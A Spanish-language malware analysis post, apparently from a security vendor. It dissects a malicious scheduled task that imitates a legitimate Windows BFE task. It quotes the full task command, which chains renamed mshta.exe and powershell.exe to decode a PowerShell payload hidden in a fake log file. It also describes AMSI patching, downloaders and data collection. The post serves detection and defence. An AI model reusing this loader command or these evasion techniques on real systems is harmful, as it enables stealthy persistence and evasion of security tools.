Hace poco nos encontramos con algo interesante. ¿Qué crees que es este archivo?
A simple vista, parece un registro de alguna aplicación. Tiene marcas de tiempo e incluye referencias a OS 6.2, el número de versión interno de Windows 8 y Windows Server 2012.
Resulta que este archivo está asociado con un punto de apoyo malicioso que descubrimos. Los autores del malware usaron varios trucos para esconderse a simple vista, como renombrar archivos legítimos, hacerse pasar por una tarea programada existente y usar un payload malicioso guardado en un archivo diseñado para parecer un registro de errores.
Hay algo sospechoso
Hace poco nos encontramos con un punto de apoyo interesante: una tarea programada llamada BfeOnServiceStartTypenChange con el siguiente comando:
"C:\Windows\system32\BfeOnService.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C
C:\Windows\system32\engine.exe -c \"\"IEX $($(gc
'C:\Windows\a.chk'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)"Al inspeccionar visualmente el comando, no hay nada que parezca malicioso de por sí (alguien con experiencia en programación podría notar que el split() es un poco extraño).
La tarea en sí incluye la siguiente descripción:
Esta tarea ajusta el tipo de inicio de los servicios activados por el firewall cuando el tipo de inicio del Base Filtering Engine (BFE) está deshabilitado.
Los nombres de archivo BfeOnService.exe y engine.exe parecen encajar con la descripción de la tarea. El comando hace referencia al archivo c:\windows\a.chk, y arriba mostramos un fragmento de dicho archivo.
Si solo se le da un vistazo rápido, la tarea, el comando (en especial los nombres de archivo ejecutable) y el “registro” podrían pasar por legítimos. Al examinarlo más de cerca, el nombre y la descripción de la tarea son esencialmente una copia de otra tarea en el endpoint, BfeOnServiceStartTypeChange, que tiene la misma descripción con el comando %windir%\system32\rundll32.exe bfe.dll,BfeOnServiceStartTypeChange. Esta tarea sí es la legítima.
Volviendo al registro, un revisor atento podría notar que la última columna parece contener representaciones decimales (disfrazadas de hexadecimales) de caracteres ASCII. Además, el comando incluye una llamada a char, que se usa para convertir un número en su valor de carácter ASCII.
Aquí tienes un desglose del comando y lo que en realidad sucede:
BfeOnService.exe es una copia renombrada del mshta.exe legítimo. Se usa para ejecutar un script simple de VisualBasic que crea un shell y ejecuta un comando. El engine.exe es una copia renombrada del powershell.exe legítimo. Se usa para leer el “archivo de registro”, a.chk, convirtiendo los valores con apariencia hexadecimal en un comando de PowerShell que luego se ejecuta. Estos ejecutables renombrados cumplen dos propósitos: no destacan visualmente, y si monitorearas los procesos en ejecución buscando específicamente powershell.exe y mshta.exe, no los verías.
Una vez que los valores del archivo de registro se convierten a ASCII, obtenemos esto:
Mira el archivo completo aquí.
A grandes rasgos, esto es lo que hace el malware:
- En el payload anterior, si se encuentra la versión 3 o superior de Common Language Runtime (CLR), se parcha en memoria el Anti-Malware Scan Interface (AMSI) para evadirlo. Luego se ejecuta un segundo comando codificado que funciona como downloader.
- El downloader obtiene otro comando intermedio de PowerShell que es un segundo downloader (este downloader usó un truco de DNS interesante que trataremos en otra publicación).
- El payload final se usa para recopilar datos del equipo comprometido: una lista de las aplicaciones instaladas (buscando específicamente navegadores, aplicaciones financieras y productos de seguridad), direcciones IP, privilegios administrativos, etc. Este payload en particular es esencialmente el mismo sobre el que escribimos hace un tiempo. En ese caso, el payload inicial se guardaba en un archivo LNK autorreferenciado en lugar del archivo de registro usado aquí.
A continuación se muestran las funciones de cada payload que obtienen las aplicaciones instaladas. La principal diferencia está en la forma en que se ofuscan las cadenas.
Mira el archivo completo aquí.
No hay límite para las formas sigilosas en que los atacantes desarrollan y ejecutan sus técnicas. Como en este caso, a veces es tan simple como esconderse a simple vista.